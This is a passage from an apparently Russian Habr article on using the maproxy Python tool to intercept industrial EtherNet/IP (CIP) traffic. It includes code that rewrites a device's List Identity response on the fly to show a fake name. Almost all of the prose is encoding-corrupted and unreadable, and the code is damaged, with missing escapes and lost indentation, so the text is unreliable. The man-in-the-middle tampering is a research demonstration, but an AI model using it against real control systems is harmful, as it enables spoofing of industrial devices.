ΡΠ΅Π»Π΅ΠΉ, ΠΎΠ½ ΠΎΠ±ΠΎΡΠ°ΡΠΈΠ²Π°Π΅Ρ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ, ΡΠ°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ CIP. ΠΡ ΡΠΎΠ±ΠΈΡΠ°Π΅ΠΌΡΡ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ Π²ΡΠ΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΎΠ΅ ΠΈΠΌΡ, ΠΊΠΎΡΠΎΡΡΠ΅ Π²ΠΈΠ΄Π½ΠΎ Π½Π° ΡΠΊΡΠΈΠ½ΡΠΎΡΠ΅ Β«NI-IndComm for EthernetΒ» Ρ ΠΏΠΎΠΌΠΎΡΡΡ Π½Π°ΡΠ΅Π³ΠΎ ΠΏΡΠΎΠΊΡΠΈ-ΡΠΊΡΠΈΠΏΡΠ°. ΠΡ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ ΠΏΠ΅ΡΠ΅ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠΊΡΠΈΠΏΡ logging_proxy.py
ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ½ΠΎ ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠΎΠ²Π°ΡΡ ΠΌΠ΅ΡΠΎΠ΄ ΠΊΠ»Π°ΡΡΠ° on_p2s_done_read
, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΌΡ Ρ
ΠΎΡΠΈΠΌ, ΡΡΠΎΠ±Ρ Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠ΅ Π±ΡΠ»ΠΎ Π²ΠΈΠ΄Π½ΠΎ Π΄ΡΡΠ³ΠΎΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΎΠ΅ ΠΈΠΌΡ.
ΠΠΎΠ΄:
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[β¦]
ΠΠΎ ΡΡΡΠΈ, ΠΌΡ Π·Π°ΠΏΡΠΎΡΠΈΠ»ΠΈ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΡΡΡΡΠΎΠΉΡΡΠ²Π° Π΄Π²Π°ΠΆΠ΄Ρ, Π²ΡΠΎΡΠΎΠΉ ΠΎΡΠ²Π΅Ρ β ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ, Π° ΠΏΠ΅ΡΠ²ΡΠΉ Π±ΡΠ» ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½ Π½Π° Π»Π΅ΡΡ.
Π ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅Π΅
ΠΠ° ΠΌΠΎΠΉ Π²Π·Π³Π»ΡΠ΄ maproxy
ΡΠ΄ΠΎΠ±Π½ΡΠΉ ΠΈ ΠΏΡΠΎΡΡΠΎΠΉ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π²Π΄ΠΎΠ±Π°Π²ΠΎΠΊ Π΅ΡΠ΅ ΠΈ Π½Π°ΠΏΠΈΡΠ°Π½ Π½Π° Python, ΠΏΠΎΡΡΠΎΠΌΡ Ρ ΡΡΠΈΡΠ°Ρ, ΡΡΠΎ Π²Ρ ΡΠΎΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π²ΡΠ³ΠΎΠ΄Ρ ΠΎΡ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ. ΠΠΎΠ½Π΅ΡΠ½ΠΎ, ΡΡΡΠ΅ΡΡΠ²ΡΡΡ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡΠ΅ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡ Π΄Π»Ρ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΡΠ΅ΡΠ΅Π²ΡΡ
Π΄Π°Π½Π½ΡΡ
, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ΠΈ ΡΠ°ΠΊΠΆΠ΅ ΡΡΠ΅Π±ΡΡΡ Π±ΠΎΠ»ΡΡΠ΅Π³ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΡ ΠΈ ΠΎΠ±ΡΡΠ½ΠΎ ΡΠΎΠ·Π΄Π°ΡΡΡΡ ΠΏΠΎΠ΄ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, maproxy
Π²Ρ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ Π±ΡΡΡΡΠΎ ΡΠ΅Π°Π»ΠΈΠ·ΠΎΠ²Π°ΡΡ ΡΠ²ΠΎΠΈ ΠΈΠ΄Π΅ΠΈ ΠΏΠΎ ΠΏΠ΅ΡΠ΅Ρ
Π²Π°ΡΡ ΡΠ΅ΡΠ΅Π²ΡΡ
Π΄Π°Π½Π½ΡΡ
, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΏΡΠΈΠΌΠ΅ΡΡ ΡΠΊΡΠΈΠΏΡΠΎΠ² ΠΎΡΠ΅Π½Ρ Π½Π°Π³Π»ΡΠ΄Π½Ρ.
ΠΡΡΠΎΡΠ½ΠΈΠΊ: habr.com